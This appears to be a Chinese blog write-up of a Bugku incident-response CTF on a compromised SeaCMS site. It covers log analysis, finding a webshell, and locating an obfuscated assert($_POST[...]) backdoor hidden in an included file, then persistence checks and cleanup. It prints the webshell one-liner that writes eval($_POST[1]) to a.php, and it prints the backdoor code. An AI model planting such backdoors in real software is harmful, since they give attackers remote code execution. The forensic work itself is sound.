当前位置: 首页 > news >正文

bugku 网络安全事件应急响应

一、攻击者的IP

首先正常打开网站,看看是不是什么JS劫持、DNS劫持。这是一个基于海洋CMS搭建的网站,进行简单的sql、xss、ssrf测试没有发现问题。FindSomething也没有发现什么泄露信息。
对日志进行分析在这里插入图片描述用户短时间内(几秒钟、几十米内)发起对不同目标URL的访问,判断其为攻击者。User-Agent特征显示其使用的是dirbuster目录爆破工具。

二、攻击者目录扫描工具

dirbuster

三、首次攻击成功的时间

日志分析,我们需要查询攻击者IP,访问成功的日志,并且这是一个php后台
grep -E '38\.207\.130\.14 | grep -E '\" 200' | grep '\.php'
对日志进行分析,着重关注不规律的结果(可能是自动化扫描发现了可疑点于是手动尝试)
在这里插入图片描述
攻击者发现了search.php,网站的查询功能可以执行系统命令,于是构造了这个命令,并用base64编码,解码后得到
file_put_contents('a.php','<?php eval($_POST[1]); ?>');
该命令将<?php eval($_POST[1]); ?>写入a.php文件中,如果没有自动创建。

四、写入的恶意后门文件、密码

a.php,1

五、隐藏在正常Web应用中的恶意代码

日志中显示,攻击者利用search.php实现了任意命令执行,说明这个文件可能存在漏洞或被注入了恶意代码。查看该文件:

  1. 分析该文件内容,该文件是SeaCMS的搜索功能模块,没有发现恶意代码(如eval()、system()、文件写入等操作)
  2. 该文件包含了两个文件,查看被包含文件,没有发现恶意代码,但是被包含文件也require_once了一个文件
  3. 查看该文件,发现一段异常代码
    在这里插入图片描述
这段代码的意思是:
1$_ = "sser";
2$_ = "assert";
3$_(${"_POST"}[0-2-5]);
这里的{""}是动态变量名,实际等价于:assert($_POST[-7]);其中,/*-/*-*/只是注释的变种写法,在这里就能看出来
六、识别系统中的恶意进程

我们先查看是否建立了后门账号

cat /etc/passwd #查看用户列表
lastlog # 查看用户上一次登录时间

如果存在恶意用户,可以使用 ps -u user查看该用户启动的指令,没有恶意账号。
排查进程、网络连接

  1. ps -aux 发现可疑进程
    在这里插入图片描述
  2. 查看计划任务,判断是否是恶意进程
查看命令含义
cat /etc/crontabl查看系统级计划任务
ls -la /ect/cron.hourly查看每小时计划任务
ls -la /ect/cron.daily查看每天计划任务
ls -la /ect/cron.weekly查看每周计划任务
ls -la /ect/cron.monthly查看每月计划任务
ls -la /var/spool/cron/crontabs查看非正常用户任务

在这里插入图片描述
发现www-data用户有计划任务,查看该任务
在这里插入图片描述
与之前对应,确定这是恶意进程
ss -ano,查看恶意进程正在进行的连接(C2主机信息,Command&Control)

七、修复漏洞

经查询,发现这是
海洋cms v6.53 代码执行漏洞
但是大家没说怎么修复,我暂时也看不懂代码。这个写的很详细,以后说不定回来看看

八、删除恶意程序、文件、代码

检查连接、进程、计划任务、后门账户
使用killall -u www-data、kill pid杀死恶意进程
rm /var/spool/cron/crontabs/www-data,清除用户级计划任务
这里需要vim /var/spool/cron/crontabs/www-data,清除里面内容,而不能直接删除(白花两块钱看答案)

http://www.xdnf.cn/news/936487.html

相关文章:

  • 02.管理数据库
  • CCPC guangdongjiangsu 2025 F
  • 【创新算法】改进深度优先搜索算法配合二进制粒子群的配电网故障恢复重构研究
  • 食养有方:进行性核上性麻痹患者的健康饮食指南
  • 解决SQL Server SQL语句性能问题(9)——SQL语句改写(2)
  • Linux系统防火墙之iptables
  • 工作记录 2017-08-01
  • 若依框架项目前缀配置
  • 如何在最短时间内提升打ctf(web)的水平?
  • Python安装使用教程
  • 实验三:VGA显示实验
  • JavaScript 数据类型详解
  • Razor编程中@Html的方法使用大全
  • Day25 异常处理
  • sizeof 与strlen的区别
  • Puppeteer测试框架 - Node.js
  • 解决transformers.adapters import AdapterConfig 报错的问题
  • Java中的抽象类
  • 【Redis】持久化
  • Redis知识体系
  • 【深度学习】表示学习:深度学习的数据解构与重构艺术
  • Effective Java 第三版 第二三章总结
  • Selenium自动化操作
  • Java中双端队列的多种实现类详解
  • 力扣面试150题--课程表
  • LabVIEW多道心电记录仪
  • 【靶场】XXE-Lab xxe漏洞
  • Java严格模式withResolverStyle解析日期错误及解决方案
  • PLC入门【1】PLC的简单介绍(教学软件:FX-TRN-BEG-C)
  • Spring Boot中Bean注入方式对比与最佳实践